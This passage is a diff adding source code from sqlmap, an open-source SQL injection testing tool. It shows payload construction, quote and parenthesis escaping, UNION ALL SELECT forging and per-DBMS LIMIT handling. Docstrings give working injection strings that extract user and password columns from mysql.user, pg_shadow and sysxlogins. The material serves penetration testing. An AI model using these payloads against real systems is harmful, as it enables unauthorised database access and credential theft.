+        if negative or conf.paramNegative:
+            negValue = "-"
+        elif falseCond or conf.paramFalseCond:
+            randInt = randomInt()
+            falseValue = " AND %d=%d" % (randInt, randInt + 1)
+
+        # After identifing the injectable parameter
+        if kb.injPlace == "User-Agent":
+            retValue = kb.injParameter.replace(kb.injParameter,
+                                               "%s%s" % (negValue, kb.injParameter + falseValue + newValue))
+        elif kb.injParameter:
+            paramString = conf.parameters[kb.injPlace]
+            paramDict = conf.paramDict[kb.injPlace]
+            value = paramDict[kb.injParameter]
+            retValue = paramString.replace("%s=%s" % (kb.injParameter, value),
+                                           "%s=%s%s" % (kb.injParameter, negValue, value + falseValue + newValue))
+
+        # Before identifing the injectable parameter
+        elif parameter == "User-Agent":
+            retValue = value.replace(value, newValue)
+        else:
+            paramString = conf.parameters[place]
+            retValue = paramString.replace("%s=%s" % (parameter, value),
+                                           "%s=%s" % (parameter, newValue))
+
+        return retValue
+
+    def fullPayload(self, query):
+        query   = self.prefixQuery(query)
+        query   = self.postfixQuery(query)
+        payload = self.payload(newValue=query)
+
+        return payload
+
+    def prefixQuery(self, string):
+        """
+        This method defines how the input string has to be escaped
+        to perform the injection depending on the injection type
+        identified as valid
+        """
+
+        query = ""
+
+        if conf.prefix:
+            query = conf.prefix
+        else:
+            if kb.injType == "numeric" or conf.postfix:
+                pass
+            elif kb.injType in ( "stringsingle", "likesingle" ):
+                query = "'"
+            elif kb.injType in ( "stringdouble", "likedouble" ):
+                query = "\""
+            else:
+                raise sqlmapNoneDataException, "unsupported injection type"
+
+            if kb.parenthesis not in ( None, 0 ):
+                query += "%s " % (")" * kb.parenthesis)
+
+        query += string
+
+        return query
+
+    def postfixQuery(self, string, comment=None):
+        """
+        This method appends the DBMS comment to the
+        SQL injection request
+        """
+
+        randInt = randomInt()
+        randStr = randomStr()
+
+        if comment:
+            string += comment
+
+        if conf.postfix:
+            string += " %s" % conf.postfix
+        else:
+            if kb.parenthesis is not None:
+                string += " AND %s" % ("(" * kb.parenthesis)
+            else:
+                raise sqlmapNoneDataException, "unable to get the number of parenthesis"
+
+            if kb.injType == "numeric":
+                string += "%d=%d" % (randInt, randInt)
+            elif kb.injType == "stringsingle":
+                string += "'%s'='%s" % (randStr, randStr)
+            elif kb.injType == "likesingle":
+                string += "'%s' LIKE '%s" % (randStr, randStr)
+            elif kb.injType == "stringdouble":
+                string += "\"%s\"=\"%s" % (randStr, randStr)
+            elif kb.injType == "likedouble":
+                string += "\"%s\" LIKE \"%s" % (randStr, randStr)
+            else:
+                raise sqlmapNoneDataException, "unsupported injection type"
+
+        return string
+
+    def nullAndCastField(self, field):
+        """
+        Take in input a field string and return its processed nulled and
+        casted field string.
+
+        Examples:
+
+        MySQL input:  VERSION()
+        MySQL output: IFNULL(CAST(VERSION() AS CHAR(10000)), ' ')
+        MySQL scope:  VERSION()
+
+        PostgreSQL input:  VERSION()
+        PostgreSQL output: COALESCE(CAST(VERSION() AS CHARACTER(10000)), ' ')
+        PostgreSQL scope:  VERSION()
+
+        Oracle input:  banner
+        Oracle output: NVL(CAST(banner AS VARCHAR(4000)), ' ')
+        Oracle scope:  SELECT banner FROM v$version WHERE ROWNUM=1
+
+        Microsoft SQL Server input:  @@VERSION
+        Microsoft SQL Server output: ISNULL(CAST(@@VERSION AS VARCHAR(8000)), ' ')
+        Microsoft SQL Server scope:  @@VERSION
+
+        @param field: field string to be processed
+        @type field: C{str}
+
+        @return: field string nulled and casted
+        @rtype: C{str}
+        """
+
+        if field.startswith("(CASE"):
+            nulledCastedField = field
+        else:
+            nulledCastedField = queries[kb.dbms].cast % field
+            nulledCastedField = queries[kb.dbms].isnull % nulledCastedField
+
+        return nulledCastedField
+
+    def nullCastConcatFields(self, fields):
+        """
+        Take in input a sequence of fields string and return its processed
+        nulled, casted and concatenated fields string.
+
+        Examples:
+
+        MySQL input:  user,password
+        MySQL output: IFNULL(CAST(user AS CHAR(10000)), ' '),'UWciUe',IFNULL(CAST(password AS CHAR(10000)), ' ')
+        MySQL scope:  SELECT user, password FROM mysql.user
+
+        PostgreSQL input:  usename,passwd
+        PostgreSQL output: COALESCE(CAST(usename AS CHARACTER(10000)), ' ')||'xRBcZW'||COALESCE(CAST(passwd AS CHARACTER(10000)), ' ')
+        PostgreSQL scope:  SELECT usename, passwd FROM pg_shadow
+
+        Oracle input:  COLUMN_NAME,DATA_TYPE
+        Oracle output: NVL(CAST(COLUMN_NAME AS VARCHAR(4000)), ' ')||'UUlHUa'||NVL(CAST(DATA_TYPE AS VARCHAR(4000)), ' ')
+        Oracle scope:  SELECT COLUMN_NAME, DATA_TYPE FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='%s'
+
+        Microsoft SQL Server input:  name,master.dbo.fn_varbintohexstr(password)
+        Microsoft SQL Server output: ISNULL(CAST(name AS VARCHAR(8000)), ' ')+'nTBdow'+ISNULL(CAST(master.dbo.fn_varbintohexstr(password) AS VARCHAR(8000)), ' ')
+        Microsoft SQL Server scope:  SELECT name, master.dbo.fn_varbintohexstr(password) FROM master..sysxlogins
+
+        @param fields: fields string to be processed
+        @type fields: C{str}
+
+        @return: fields string nulled, casted and concatened
+        @rtype: C{str}
+        """
+
+        if not kb.dbmsDetected:
+            return fields
+
+        fields             = fields.replace(", ", ",")
+        fieldsSplitted     = fields.split(",")
+        dbmsDelimiter      = queries[kb.dbms].delimiter
+        nulledCastedFields = []
+
+        for field in fieldsSplitted:
+            nulledCastedFields.append(self.nullAndCastField(field))
+
+        delimiterStr = "%s'%s'%s" % (dbmsDelimiter, temp.delimiter, dbmsDelimiter)
+        nulledCastedConcatFields = delimiterStr.join([field for field in nulledCastedFields])
+
+        return nulledCastedConcatFields
+
+    def getFields(self, query):
+        """
+        Take in input a query string and return its fields (columns) and
+        more details.
+
+        Example:
+
+        Input:  SELECT user, password FROM mysql.user
+        Output: user,password
+
+        @param query: query to be processed
+        @type query: C{str}
+
+        @return: query fields (columns) and more details
+        @rtype: C{str}
+        """
+
+        fieldsSelectTop      = re.search("\ASELECT\s+TOP\s+[\d]+\s+(.+?)\s+FROM", query, re.I)
+        fieldsSelectDistinct = re.search("\ASELECT\s+DISTINCT\((.+?)\)\s+FROM", query, re.I)
+        fieldsSelectCase     = re.search("\ASELECT\s+(\(CASE WHEN\s+.+\s+END\))", query, re.I)
+        fieldsSelectFrom     = re.search("\ASELECT\s+(.+?)\s+FROM\s+", query, re.I)
+        fieldsSelect         = re.search("\ASELECT\s+(.*)", query, re.I)
+        fieldsNoSelect       = query
+
+        if fieldsSelectTop:
+            fieldsToCastStr = fieldsSelectTop.groups()[0]
+        elif fieldsSelectDistinct:
+            fieldsToCastStr = fieldsSelectDistinct.groups()[0]
+        elif fieldsSelectCase:
+            fieldsToCastStr = fieldsSelectCase.groups()[0]
+        elif fieldsSelectFrom:
+            fieldsToCastStr = fieldsSelectFrom.groups()[0]
+        elif fieldsSelect:
+            fieldsToCastStr = fieldsSelect.groups()[0]
+        elif fieldsNoSelect:
+            fieldsToCastStr = fieldsNoSelect
+
+        fieldsToCastList = fieldsToCastStr.replace(", ", ",")
+        fieldsToCastList = fieldsToCastList.split(",")
+
+        return fieldsSelectFrom, fieldsSelect, fieldsNoSelect, fieldsSelectTop, fieldsSelectCase, fieldsToCastList, fieldsToCastStr
+
+    def simpleConcatQuery(self, query1, query2):
+        concatenatedQuery = ""
+
+        if kb.dbms == "MySQL":
+            concatenatedQuery = "CONCAT(%s,%s)" % (query1, query2)
+
+        elif kb.dbms in ( "PostgreSQL", "Oracle" ):
+            concatenatedQuery = "%s||%s" % (query1, query2)
+
+        elif kb.dbms == "Microsoft SQL Server":
+            concatenatedQuery = "%s+%s" % (query1, query2)
+
+        return concatenatedQuery
+
+    def concatQuery(self, query, unpack=True):
+        """
+        Take in input a query string and return its processed nulled,
+        casted and concatenated query string.
+
+        Examples:
+
+        MySQL input:  SELECT user, password FROM mysql.user
+        MySQL output: CONCAT('mMvPxc',IFNULL(CAST(user AS CHAR(10000)), ' '),'nXlgnR',IFNULL(CAST(password AS CHAR(10000)), ' '),'YnCzLl') FROM mysql.user
+
+        PostgreSQL input:  SELECT usename, passwd FROM pg_shadow
+        PostgreSQL output: 'HsYIBS'||COALESCE(CAST(usename AS CHARACTER(10000)), ' ')||'KTBfZp'||COALESCE(CAST(passwd AS CHARACTER(10000)), ' ')||'LkhmuP' FROM pg_shadow
+
+        Oracle input:  SELECT COLUMN_NAME, DATA_TYPE FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='USERS'
+        Oracle output: 'GdBRAo'||NVL(CAST(COLUMN_NAME AS VARCHAR(4000)), ' ')||'czEHOf'||NVL(CAST(DATA_TYPE AS VARCHAR(4000)), ' ')||'JVlYgS' FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='USERS'
+
+        Microsoft SQL Server input:  SELECT name, master.dbo.fn_varbintohexstr(password) FROM master..sysxlogins
+        Microsoft SQL Server output: 'QQMQJO'+ISNULL(CAST(name AS VARCHAR(8000)), ' ')+'kAtlqH'+ISNULL(CAST(master.dbo.fn_varbintohexstr(password) AS VARCHAR(8000)), ' ')+'lpEqoi' FROM master..sysxlogins
+
+        @param query: query string to be processed
+        @type query: C{str}
+
+        @return: query string nulled, casted and concatenated
+        @rtype: C{str}
+        """
+
+        if unpack:
+            concatenatedQuery = ""
+            query             = query.replace(", ", ",")
+
+            fieldsSelectFrom, fieldsSelect, fieldsNoSelect, fieldsSelectTop, fieldsSelectCase, _, fieldsToCastStr = self.getFields(query)
+            castedFields      = self.nullCastConcatFields(fieldsToCastStr)
+            concatenatedQuery = query.replace(fieldsToCastStr, castedFields, 1)
+        else:
+            concatenatedQuery = query
+            fieldsSelectFrom, fieldsSelect, fieldsNoSelect, fieldsSelectTop, fieldsSelectCase, _, fieldsToCastStr = self.getFields(query)
+
+        if kb.dbms == "MySQL":
+            if fieldsSelectCase:
+                concatenatedQuery  = concatenatedQuery.replace("SELECT ", "CONCAT('%s'," % temp.start, 1)
+                concatenatedQuery += ",'%s')" % temp.stop
+            elif fieldsSelectFrom:
+                concatenatedQuery = concatenatedQuery.replace("SELECT ", "CONCAT('%s'," % temp.start, 1)
+                concatenatedQuery = concatenatedQuery.replace(" FROM ", ",'%s') FROM " % temp.stop, 1)
+            elif fieldsSelect:
+                concatenatedQuery  = concatenatedQuery.replace("SELECT ", "CONCAT('%s'," % temp.start, 1)
+                concatenatedQuery += ",'%s')" % temp.stop
+            elif fieldsNoSelect:
+                concatenatedQuery = "CONCAT('%s',%s,'%s')" % (temp.start, concatenatedQuery, temp.stop)
+
+        elif kb.dbms in ( "PostgreSQL", "Oracle" ):
+            if fieldsSelectCase:
+                concatenatedQuery  = concatenatedQuery.replace("SELECT ", "'%s'||" % temp.start, 1)
+                concatenatedQuery += "||'%s'" % temp.stop
+            elif fieldsSelectFrom:
+                concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||" % temp.start, 1)
+                concatenatedQuery = concatenatedQuery.replace(" FROM ", "||'%s' FROM " % temp.stop, 1)
+            elif fieldsSelect:
+                concatenatedQuery  = concatenatedQuery.replace("SELECT ", "'%s'||" % temp.start, 1)
+                concatenatedQuery += "||'%s'" % temp.stop
+            elif fieldsNoSelect:
+                concatenatedQuery = "'%s'||%s||'%s'" % (temp.start, concatenatedQuery, temp.stop)
+
+            if kb.dbms == "Oracle" and " FROM " not in concatenatedQuery and ( fieldsSelect or fieldsNoSelect ):
+                concatenatedQuery += " FROM DUAL"
+
+        elif kb.dbms == "Microsoft SQL Server":
+            if fieldsSelectTop:
+                topNum = re.search("\ASELECT\s+TOP\s+([\d]+)\s+", concatenatedQuery, re.I).group(1)
+                concatenatedQuery = concatenatedQuery.replace("SELECT TOP %s " % topNum, "TOP %s '%s'+" % (topNum, temp.start), 1)
+                concatenatedQuery = concatenatedQuery.replace(" FROM ", "+'%s' FROM " % temp.stop, 1)
+            elif fieldsSelectCase:
+                concatenatedQuery  = concatenatedQuery.replace("SELECT ", "'%s'+" % temp.start, 1)
+                concatenatedQuery += "+'%s'" % temp.stop
+            elif fieldsSelectFrom:
+                concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'+" % temp.start, 1)
+                concatenatedQuery = concatenatedQuery.replace(" FROM ", "+'%s' FROM " % temp.stop, 1)
+            elif fieldsSelect:
+                concatenatedQuery  = concatenatedQuery.replace("SELECT ", "'%s'+" % temp.start, 1)
+                concatenatedQuery += "+'%s'" % temp.stop
+            elif fieldsNoSelect:
+                concatenatedQuery = "'%s'+%s+'%s'" % (temp.start, concatenatedQuery, temp.stop)
+
+        return concatenatedQuery
+
+    def forgeInbandQuery(self, query, exprPosition=None, nullChar="NULL"):
+        """
+        Take in input an query (pseudo query) string and return its
+        processed UNION ALL SELECT query.
+
+        Examples:
+
+        MySQL input:  CONCAT(CHAR(120,121,75,102,103,89),IFNULL(CAST(user AS CHAR(10000)), CHAR(32)),CHAR(106,98,66,73,109,81),IFNULL(CAST(password AS CHAR(10000)), CHAR(32)),CHAR(105,73,99,89,69,74)) FROM mysql.user
+        MySQL output:  UNION ALL SELECT NULL, CONCAT(CHAR(120,121,75,102,103,89),IFNULL(CAST(user AS CHAR(10000)), CHAR(32)),CHAR(106,98,66,73,109,81),IFNULL(CAST(password AS CHAR(10000)), CHAR(32)),CHAR(105,73,99,89,69,74)), NULL FROM mysql.user-- AND 7488=7488
+
+        PostgreSQL input:  (CHR(116)||CHR(111)||CHR(81)||CHR(80)||CHR(103)||CHR(70))||COALESCE(CAST(usename AS CHARACTER(10000)), (CHR(32)))||(CHR(106)||CHR(78)||CHR(121)||CHR(111)||CHR(84)||CHR(85))||COALESCE(CAST(passwd AS CHARACTER(10000)), (CHR(32)))||(CHR(108)||CHR(85)||CHR(122)||CHR(85)||CHR(108)||CHR(118)) FROM pg_shadow
+        PostgreSQL output:  UNION ALL SELECT NULL, (CHR(116)||CHR(111)||CHR(81)||CHR(80)||CHR(103)||CHR(70))||COALESCE(CAST(usename AS CHARACTER(10000)), (CHR(32)))||(CHR(106)||CHR(78)||CHR(121)||CHR(111)||CHR(84)||CHR(85))||COALESCE(CAST(passwd AS CHARACTER(10000)), (CHR(32)))||(CHR(108)||CHR(85)||CHR(122)||CHR(85)||CHR(108)||CHR(118)), NULL FROM pg_shadow-- AND 7133=713
+
+        Oracle input:  (CHR(109)||CHR(89)||CHR(75)||CHR(109)||CHR(85)||CHR(68))||NVL(CAST(COLUMN_NAME AS VARCHAR(4000)), (CHR(32)))||(CHR(108)||CHR(110)||CHR(89)||CHR(69)||CHR(122)||CHR(90))||NVL(CAST(DATA_TYPE AS VARCHAR(4000)), (CHR(32)))||(CHR(89)||CHR(80)||CHR(98)||CHR(77)||CHR(80)||CHR(121)) FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME=(CHR(85)||CHR(83)||CHR(69)||CHR(82)||CHR(83))
+        Oracle output:  UNION ALL SELECT NULL, (CHR(109)||CHR(89)||CHR(75)||CHR(109)||CHR(85)||CHR(68))||NVL(CAST(COLUMN_NAME AS VARCHAR(4000)), (CHR(32)))||(CHR(108)||CHR(110)||CHR(89)||CHR(69)||CHR(122)||CHR(90))||NVL(CAST(DATA_TYPE AS VARCHAR(4000)), (CHR(32)))||(CHR(89)||CHR(80)||CHR(98)||CHR(77)||CHR(80)||CHR(121)), NULL FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME=(CHR(85)||CHR(83)||CHR(69)||CHR(82)||CHR(83))-- AND 6738=6738
+
+        Microsoft SQL Server input:  (CHAR(74)+CHAR(86)+CHAR(106)+CHAR(116)+CHAR(116)+CHAR(108))+ISNULL(CAST(name AS VARCHAR(8000)), (CHAR(32)))+(CHAR(89)+CHAR(87)+CHAR(116)+CHAR(100)+CHAR(106)+CHAR(74))+ISNULL(CAST(master.dbo.fn_varbintohexstr(password) AS VARCHAR(8000)), (CHAR(32)))+(CHAR(71)+CHAR(74)+CHAR(68)+CHAR(66)+CHAR(85)+CHAR(106)) FROM master..sysxlogins
+        Microsoft SQL Server output:  UNION ALL SELECT NULL, (CHAR(74)+CHAR(86)+CHAR(106)+CHAR(116)+CHAR(116)+CHAR(108))+ISNULL(CAST(name AS VARCHAR(8000)), (CHAR(32)))+(CHAR(89)+CHAR(87)+CHAR(116)+CHAR(100)+CHAR(106)+CHAR(74))+ISNULL(CAST(master.dbo.fn_varbintohexstr(password) AS VARCHAR(8000)), (CHAR(32)))+(CHAR(71)+CHAR(74)+CHAR(68)+CHAR(66)+CHAR(85)+CHAR(106)), NULL FROM master..sysxlogins-- AND 3254=3254
+
+        @param query: it is a processed query string unescaped to be
+        forged within an UNION ALL SELECT statement
+        @type query: C{str}
+
+        @param exprPosition: it is the NULL position where it is possible
+        to inject the query
+        @type exprPosition: C{int}
+
+        @return: UNION ALL SELECT query string forged
+        @rtype: C{str}
+        """
+
+        inbandQuery = self.prefixQuery(" UNION ALL SELECT ")
+
+        if query.startswith("TOP"):
+            topNum       = re.search("\ATOP\s+([\d]+)\s+", query, re.I).group(1)
+            query        = query[len("TOP %s " % topNum):]
+            inbandQuery += "TOP %s " % topNum
+
+        if not exprPosition:
+            exprPosition = kb.unionPosition
+
+        intoRegExp = re.search("(\s+INTO (DUMP|OUT)FILE\s+\'(.+?)\')", query, re.I)
+
+        if intoRegExp:
+            intoRegExp = intoRegExp.group(1)
+            query = query[:query.index(intoRegExp)]
+
+        if kb.dbms == "Oracle" and inbandQuery.endswith(" FROM DUAL"):
+            inbandQuery = inbandQuery[:-len(" FROM DUAL")]
+
+        for element in range(kb.unionCount):
+            if element > 0:
+                inbandQuery += ", "
+
+            if element == exprPosition:
+                if " FROM " in query and not query.startswith("SELECT ") and "(CASE WHEN (" not in query:
+                    conditionIndex = query.index(" FROM ")
+                    inbandQuery += query[:conditionIndex]
+                else:
+                    inbandQuery += query
+            else:
+                inbandQuery += nullChar
+
+        if " FROM " in query and not query.startswith("SELECT ") and "(CASE WHEN (" not in query:
+            conditionIndex = query.index(" FROM ")
+            inbandQuery += query[conditionIndex:]
+
+        if kb.dbms == "Oracle":
+            if " FROM " not in inbandQuery:
+                inbandQuery += " FROM DUAL"
+
+        if intoRegExp:
+            inbandQuery += intoRegExp
+
+        inbandQuery = self.postfixQuery(inbandQuery, kb.unionComment)
+
+        return inbandQuery
+
+    def limitQuery(self, num, query, field=None):
+        """
+        Take in input a query string and return its limited query string.
+
+        Example:
+
+        Input:  SELECT user FROM mysql.users
+        Output: SELECT user FROM mysql.users LIMIT <num>, 1
+
+        @param num: limit number
+        @type num: C{int}
+
+        @param query: query to be processed
+        @type query: C{str}
+
+        @param field: field within the query
+        @type field: C{list}
+
+        @return: limited query string
+        @rtype: C{str}
+        """
+
+        limitedQuery  = query
+        limitStr      = queries[kb.dbms].limit
+        fromIndex     = limitedQuery.index(" FROM ")
+        untilFrom     = limitedQuery[:fromIndex]
+        fromFrom      = limitedQuery[fromIndex+1:]
+
+        if kb.dbms in ( "MySQL", "PostgreSQL" ):
+            limitStr = queries[kb.dbms].limit % (num, 1)
+            limitedQuery += " %s" % limitStr
+
+        elif kb.dbms == "Oracle":
+            if " ORDER BY " in limitedQuery and "(SELECT " in limitedQuery:
+                limitedQuery = limitedQuery[:limitedQuery.index(" ORDER BY ")]
+
+            if query.startswith("SELECT "):
+                limitedQuery = "%s FROM (%s, %s" % (untilFrom, untilFrom, limitStr)
+            else:
+                limitedQuery = "%s FROM (SELECT %s, %s" % (untilFrom, ", ".join(f for f in field), limitStr)
+            limitedQuery  = limitedQuery % fromFrom
+            limitedQuery += "=%d" % (num + 1)
+
+        elif kb.dbms == "Microsoft SQL Server":
+            forgeNotIn = True
+
+            if " ORDER BY " in limitedQuery:
+                limitedQuery = limitedQuery[:limitedQuery.index(" ORDER BY ")]
+
+            notDistincts = re.findall("DISTINCT[\(\s+](.+?)\)*\s+", limitedQuery, re.I)
+
+            for notDistinct in notDistincts:
+                limitedQuery = limitedQuery.replace("DISTINCT(%s)" % notDistinct, notDistinct)
+                limitedQuery = limitedQuery.replace("DISTINCT %s" % notDistinct, notDistinct)
+
+            if limitedQuery.startswith("SELECT TOP ") or limitedQuery.startswith("TOP "):
+                topNums         = re.search(queries[kb.dbms].limitregexp, limitedQuery, re.I)
+
+                if topNums:
+                    topNums = topNums.groups()
+                    quantityTopNums = topNums[0]
+                    limitedQuery    = limitedQuery.replace("TOP %s" % quantityTopNums, "TOP 1", 1)
+                    startTopNums    = topNums[1]
+                    limitedQuery    = limitedQuery.replace(" (SELECT TOP %s" % startTopNums, " (SELECT TOP %d" % num)
+                    forgeNotIn      = False
+                else:
+                    topNum          = re.search("TOP\s+([\d]+)\s+", limitedQuery, re.I).group(1)
+                    limitedQuery    = limitedQuery.replace("TOP %s " % topNum, "")
+
+            if forgeNotIn:
+                limitedQuery = limitedQuery.replace("SELECT ", (limitStr % 1), 1)
+
+                if " WHERE " in limitedQuery:
+                    limitedQuery  = "%s AND %s " % (limitedQuery, field)
+                else:
+                    limitedQuery  = "%s WHERE %s " % (limitedQuery, field)
+
+                limitedQuery += "NOT IN (%s" % (limitStr % num)
+                limitedQuery += "%s %s)" % (field, fromFrom)
+
+        return limitedQuery
+
+    def forgeCaseStatement(self, expression):
+        """
+        Take in input a query string and return its CASE statement query
+        string.
+
+        Example:
+
+        Input:  (SELECT super_priv FROM mysql.user WHERE user=(SUBSTRING_INDEX(CURRENT_USER(), '@', 1)) LIMIT 0, 1)='Y'
+        Output: SELECT (CASE WHEN ((SELECT super_priv FROM mysql.user WHERE user=(SUBSTRING_INDEX(CURRENT_USER(), '@', 1)) LIMIT 0, 1)='Y') THEN 1 ELSE 0 END)
+
+        @param expression: expression to be processed
+        @type num: C{str}
+
+        @return: processed expression
+        @rtype: C{str}
+        """
+
+        return queries[kb.dbms].case % expression
+
+# SQL agent
+agent = Agent()

lib/core/common.py

@@ -0,0 +1,944 @@
+#!/usr/bin/env python
+
+"""
+$Id$
+
+This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
+
+Copyright (c) 2007-2010 Bernardo Damele A. G. <[email protected]>
+Copyright (c) 2006 Daniele Bellucci <[email protected]>
+
+sqlmap is free software; you can redistribute it and/or modify it under
+the terms of the GNU General Public License as published by the Free
+Software Foundation version 2 of the License.
+
+sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
+WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
+FOR A PARTICULAR PURPOSE.  See the GNU General Public License for more
+details.
+
+You should have received a copy of the GNU General Public License along
+with sqlmap; if not, write to the Free Software Foundation, Inc., 51
+Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
+"""
+
+import os
+import random
+import re
+import socket
+import string
+import sys
+import time
+import urlparse
+import ntpath
+import posixpath
+
+from tempfile import NamedTemporaryFile
+from tempfile import mkstemp
+
+from extra.cloak.cloak import decloak
+from lib.contrib import magic
+from lib.core.data import conf
+from lib.core.data import kb
+from lib.core.data import logger
+from lib.core.data import paths
+from lib.core.data import queries
+from lib.core.data import temp
+from lib.core.convert import urlencode
+from lib.core.exception import sqlmapFilePathException
+from lib.core.exception import sqlmapNoneDataException
+from lib.core.exception import sqlmapSyntaxException
+from lib.core.settings import DESCRIPTION
+from lib.core.settings import IS_WIN
+from lib.core.settings import SITE
+from lib.core.settings import SQL_STATEMENTS
+from lib.core.settings import VERSION_STRING
+
+def paramToDict(place, parameters=None):
+    """
+    Split the parameters into names and values, check if these parameters
+    are within the testable parameters and return in a dictionary.
+
+    @param place: where sqlmap has to work, can be GET, POST or Cookie.
+    @type place: C{str}
+
+    @param parameters: parameters string in the format for instance
+    'p1=v1&p2=v2' (GET and POST) or 'p1=v1;p2=v2' (Cookie).
+    @type parameters: C{str}
+
+    @return: the parameters in a dictionary.
+    @rtype: C{str}
+    """
+
+    testableParameters = {}
+
+    if conf.parameters.has_key(place) and not parameters:
+        parameters = conf.parameters[place]
+
+    parameters = parameters.replace(", ", ",")
+
+    if place == "Cookie":
+        splitParams = parameters.split(";")
+    else:
+        splitParams = parameters.split("&")
+
+    for element in splitParams:
+        elem = element.split("=")
+
+        if len(elem) == 2:
+            parameter = elem[0].replace(" ", "")
+
+            condition  = not conf.testParameter
+            condition |= parameter in conf.testParameter
+
+            if condition:
+                value = elem[1]
+                testableParameters[parameter] = value
+
+    if conf.testParameter and not testableParameters:
+        paramStr = ", ".join(test for test in conf.testParameter)
+
+        if len(conf.testParameter) > 1:
+            warnMsg  = "the testable parameters '%s' " % paramStr
+            warnMsg += "you provided are not into the %s" % place
+        else:
+            parameter = conf.testParameter[0]
+
+            warnMsg  = "the testable parameter '%s' " % paramStr
+            warnMsg += "you provided is not into the %s" % place
+
+        if conf.multipleTargets:
+            warnMsg += ", skipping to next url"
+
+        logger.warn(warnMsg)
+
+    elif len(conf.testParameter) != len(testableParameters.keys()):
+        for parameter in conf.testParameter:
+            if not testableParameters.has_key(parameter):
+                warnMsg  =  "the testable parameter '%s' " % parameter
+                warnMsg += "you provided is not into the %s" % place
+                logger.warn(warnMsg)
+
+    return testableParameters
+
+def formatDBMSfp(versions=None):
+    """
+    This function format the back-end DBMS fingerprint value and return its
+    values formatted as a human readable string.
+
+    @return: detected back-end DBMS based upon fingerprint techniques.
+    @rtype: C{str}
+    """
+
+    if not versions or versions == [None]:
+        versions = kb.dbmsVersion
+
+    if isinstance(versions, str):
+        return "%s %s" % (kb.dbms, versions)
+    elif isinstance(versions, (list, set, tuple)):
+        return "%s %s" % (kb.dbms, " and ".join([version for version in versions]))
+    elif not versions:
+        warnMsg  = "unable to extensively fingerprint the back-end "
+        warnMsg += "DBMS version"
+        logger.warn(warnMsg)
+
+        return kb.dbms
+
+def formatFingerprintString(values, chain=" or "):
+    strJoin = "|".join([v for v in values])
+
+    return strJoin.replace("|", chain)
+
+def formatFingerprint(target, info):
+    """
+    This function format the back-end operating system fingerprint value
+    and return its values formatted as a human readable string.
+
+    Example of info (kb.headersFp) dictionary:
+
+    {
+      'distrib': set(['Ubuntu']),
+      'type': set(['Linux']),
+      'technology': set(['PHP 5.2.6', 'Apache 2.2.9']),
+      'release': set(['8.10'])
+    }
+
+    Example of info (kb.bannerFp) dictionary:
+
+    {
+      'sp': set(['Service Pack 4']),
+      'dbmsVersion': '8.00.194',
+      'dbmsServicePack': '0',
+      'distrib': set(['2000']),
+      'dbmsRelease': '2000',
+      'type': set(['Windows'])
+    }
+
+    @return: detected back-end operating system based upon fingerprint
+    techniques.
+    @rtype: C{str}
+    """
+
+    infoStr = ""
+
+    if info and "type" in info:
+        infoStr += "%s operating system: %s" % (target, formatFingerprintString(info["type"]))
+
+        if "distrib" in info:
+            infoStr += " %s" % formatFingerprintString(info["distrib"])
+
+        if "release" in info:
+            infoStr += " %s" % formatFingerprintString(info["release"])
+
+        if "sp" in info:
+            infoStr += " %s" % formatFingerprintString(info["sp"])
+
+        if "codename" in info:
+            infoStr += " (%s)" % formatFingerprintString(info["codename"])
+
+    if "technology" in info:
+        infoStr += "\nweb application technology: %s" % formatFingerprintString(info["technology"], ", ")
+
+    return infoStr
+
+def getHtmlErrorFp():
+    """
+    This function parses the knowledge base htmlFp list and return its
+    values formatted as a human readable string.
+
+    @return: list of possible back-end DBMS based upon error messages
+    parsing.
+    @rtype: C{str}
+    """
+
+    htmlParsed = ""
+
+    if not kb.htmlFp:
+        return None
+
+    if len(kb.htmlFp) == 1:
+        htmlVer = kb.htmlFp[0]
+        htmlParsed = htmlVer
+    elif len(kb.htmlFp) > 1:
+        htmlParsed = " or ".join([htmlFp for htmlFp in kb.htmlFp])
+
+    return htmlParsed
+
+def getDocRoot(webApi=None):
+    docRoot = None
+    pagePath = directoryPath(conf.path)
+
+    if kb.os == "Windows":
+        if webApi == "php":
+            defaultDocRoot = "C:/xampp/htdocs/"
+        else:
+            defaultDocRoot = "C:/Inetpub/wwwroot/"
+    else:
+        defaultDocRoot = "/var/www/"
+
+    if kb.absFilePaths:
+        for absFilePath in kb.absFilePaths:
+            if directoryPath(absFilePath) == '/':
+                continue
+            absFilePath = normalizePath(absFilePath)
+            absFilePathWin = None
+
+            if isWindowsPath(absFilePath):
+                absFilePathWin = posixToNtSlashes(absFilePath)
+                absFilePath    = ntToPosixSlashes(absFilePath[2:])
+            
+            if pagePath in absFilePath:
+                index   = absFilePath.index(pagePath)
+                docRoot = absFilePath[:index]
+
+                if len(docRoot) == 0:
+                    docRoot = None
+                    continue
+
+                if absFilePathWin:
+                    docRoot = "C:/%s" % ntToPosixSlashes(docRoot)
+                    
+                docRoot = normalizePath(docRoot)
+                break
+
+    if docRoot:
+        infoMsg = "retrieved the web server document root: '%s'" % docRoot
+        logger.info(infoMsg)
+    else:
+        warnMsg = "unable to retrieve the web server document root"
+        logger.warn(warnMsg)
+
+        message  = "please provide the web server document root "
+        message += "[%s]: " % defaultDocRoot
+        inputDocRoot = readInput(message, default=defaultDocRoot)
+
+        if inputDocRoot:
+            docRoot = inputDocRoot
+        else:
+            docRoot = defaultDocRoot
+
+    return docRoot
+
+def getDirs(webApi=None):
+    directories = set()
+
+    if kb.os == "Windows":
+        if webApi == "php":
+            defaultDirs = ["C:/xampp/htdocs/"]
+        else:
+            defaultDirs = ["C:/Inetpub/wwwroot/"]
+    else:
+        defaultDirs = ["/var/www/"]
+
+    if kb.absFilePaths:
+        infoMsg  = "retrieved web server full paths: "
+        infoMsg += "'%s'" % ", ".join(path for path in kb.absFilePaths)
+        logger.info(infoMsg)
+        
+        for absFilePath in kb.absFilePaths:
+            if absFilePath:
+                directory = directoryPath(absFilePath)
+                if isWindowsPath(directory):
+                    directory = directory.replace('\\', '/')
+                if directory == '/':
+                    continue
+                directories.add(directory)
+    else:
